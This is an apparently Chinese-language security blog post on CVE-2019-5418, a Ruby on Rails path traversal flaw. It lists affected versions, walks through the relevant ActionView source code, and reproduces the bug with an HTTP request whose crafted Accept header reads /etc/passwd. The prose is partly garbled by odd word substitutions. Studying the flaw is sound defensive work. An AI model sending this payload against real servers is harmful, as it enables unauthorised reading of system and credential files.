Ruby on Rails 路径穿越与任意文件读取漏洞CVE-2019-5418

破绽简介

在控制器中经过render file方式来渲染应用之外的视图,且会依据用户传入的Accept头来肯定文件详细位置。我们经过传入Accept: ../../../../../../../../etc/passwd{{头来构成结构途径穿越破绽,读取恣意文件。
 


 

影响版本

Ruby on Rails < 6.0.0.beta3 Ruby on Rails < 5.2.2.1 Ruby on Rails < 5.1.6.2 Ruby on Rails < 5.0.7.2
 


 

破绽剖析

在控制器中经过render file方式来渲染应用之外的视图,因而在 actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22 中会依据 options.key?(:file),调用find_file来寻觅视图。

module ActionView
  class TemplateRenderer < AbstractRenderer #:nodoc:
    # Determine the template to be rendered using the given options.
      def determine_template(options)
        keys = options.has_key?(:locals) ? options[:locals].keys : []
        if options.key?(:body)
          ...
        elsif options.key?(:file)
          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
        ...
      end
end

find_file代码如下:

def find_file(name, prefixes = [], partial = false, keys = [], options = {})
    @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end

继续跟入args_for_lookup函数,用于生成用于查找文件的参数,当其最终返回时会把payload保管在details[formats]中:

图片[1]-Ruby on Rails 路径穿越与任意文件读取漏洞CVE-2019-5418-孤勇者社区

尔后回到@view_paths.find_file并跟入会进入 actionview-5.2.1/lib/action_view/path_set.rb:

class PathSet #:nodoc:
    def find_file(path, prefixes = [], *args)
      _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
    end
    private
    # 注,这里的 args 即前面args_for_lookup生成的details
        def _find_all(path, prefixes, args, outside_app)
            prefixes = [prefixes] if String === prefixes
            prefixes.each do |prefix|
            paths.each do |resolver|
                if outside_app
                templates = resolver.find_all_anywhere(path, prefix, *args)
                else
                templates = resolver.find_all(path, prefix, *args)
                end
                return templates unless templates.empty?
            end
            end
            []
        end

          
由于要渲染的视图在应用之外,因而跟入find_all_anywhere

def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
    cached(key, [name, prefix, partial], details, locals) do
    find_templates(name, prefix, partial, details, true)
    end
end

跳过cached局部,跟入find_templates,这里正式依据条件来查找要渲染的模板:

# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
    EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"

    ...

    private
        def find_templates(name, prefix, partial, details, outside_app_allowed = false)
            path = Path.build(name, prefix, partial)
            # 留意 details 与 details[:formats] 的传入
            query(path, details, details[:formats], outside_app_allowed)
        end

        def query(path, details, formats, outside_app_allowed)
            query = build_query(path, details)
            template_paths = find_template_paths(query)
            ...
            end
        end

          
build_query后如下: 2.jpg

应用../与前缀组合形成途径穿越,应用最后的{{完成闭合,经过File.expand_path解析后组成的query如下:

/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

最后/etc/passwd被当成模板文件停止渲染,最后形成了恣意文件读取。
 


 

破绽复现

访问http://www.0-sec.org:3000/robots可见,正常的robots.txt文件被读取出来。

应用破绽,发送如下数据包,读取/etc/passwd:

GET /robots HTTP/1.1
Host: www.0-sec.org:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

图片[2]-Ruby on Rails 路径穿越与任意文件读取漏洞CVE-2019-5418-孤勇者社区
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像撒后0